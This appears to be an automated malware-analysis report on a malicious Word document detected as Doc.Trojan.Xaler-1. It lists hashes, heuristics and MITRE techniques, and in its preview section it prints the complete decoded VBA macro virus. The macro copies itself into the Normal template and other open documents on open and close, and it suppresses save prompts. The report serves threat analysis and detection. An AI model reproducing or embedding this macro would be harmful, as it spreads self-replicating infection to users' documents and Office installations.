Office (OLE) malware analysis — malicious · b9c90f7e789972fd

MALICIOUS

Office (OLE)

77.0 KB Created: 2008-04-09 06:22:00 Authoring application: Microsoft Office Word First seen: 2015-09-17

MD5: 3c1f21aec526cd88f81520f0c7b55b80 SHA-1: ceb2b8d9297e2090799fa919f3fd9f5b750227a9 SHA-256: b9c90f7e789972fddf05ea2c4fe2712d8b7dea61f91f396ac3e6ac1978155203

210 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a malicious Office document containing VBA macros. The `GOODSub` subroutine exhibits self-replication behavior by exporting the `ThisDocument` module to `C:\temp.tmp` and then attempting to insert its code into the Normal template and the active document. This technique is often used to establish persistence or prepare for further stages of an attack. The ClamAV detection of 'Doc.Trojan.Xaler-1' further supports its malicious nature.

Heuristics 5

ClamAV: Doc.Trojan.Xaler-1 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Trojan.Xaler-1
VBA macros detected medium 2 related findings OLE_VBA_MACROS

Document contains VBA macro code
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION

VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
Matched line in script
```
NormalTemplate.VBProject.vbcomponents.Item("ThisDocument").CodeModule.InsertLines 1, keimeno
```
Document_Open macro low OLE_VBA_DOCOPEN

Document_Open macro
Matched line in script
```
Private Sub Document_Open()
```
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	2182 bytes
SHA-256: `afff7350efe8503f8a3af5a2e8e7242afff5b0c4273de1308c8e5c3d7c4f0455`
Detection ClamAV: Doc.Trojan.Xaler-1 Obfuscation or payload: unlikely
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True 'RELAX Private Sub RELAX2() If Day(Date) Mod 10 = 0 And Month(Date) Mod 4 = 0 Then Close #1 End If End Sub Private Sub Document_Close() Call GOODSub Call RELAX2 End Sub Private Sub GOODSub() On Error Resume Next Application.ScreenUpdating = False Application.Options.SaveNormalPrompt = False x$ = "C:\temp.tmp" MacroContainer.VBProject.vbcomponents.Item("ThisDocument").Export x$ Open x$ For Input As #1 keimeno = Input(LOF(1), 1) Close #1 kk& = InStr(1, keimeno, "'RELAX") keimeno = Right$(keimeno, Len(keimeno) - kk& + 1) For j = 1 To 2 If j = 1 Then NormalTemplate.VBProject.vbcomponents.Item("ThisDocument").Export x$ Else ActiveDocument.VBProject.vbcomponents.Item("ThisDocument").Export x$ End If Open x$ For Input As #1 rlx = Input(LOF(1), 1) Close #1 d1 = InStr(1, rlx, "'RELAX") If d1 = 0 Then If j = 1 Then NormalTemplate.VBProject.vbcomponents.Item("ThisDocument").CodeModule.InsertLines 1, keimeno NormalTemplate.Save Else ActiveDocument.VBProject.vbcomponents.Item("ThisDocument").CodeModule.InsertLines 1, keimeno End If End If Next j '==================== Dim PRostasia As Byte PRostasia = 1 fff = FreeFile If Dir(ActiveDocument.FullName, 6) <> "" Then Open ActiveDocument.FullName For Binary As #fff Put #fff, 862, PRostasia Close #fff ActiveDocument.Save End If Kill x$ Application.ScreenUpdating = True End Sub Private Sub Document_Open() Call GOODSub End Sub

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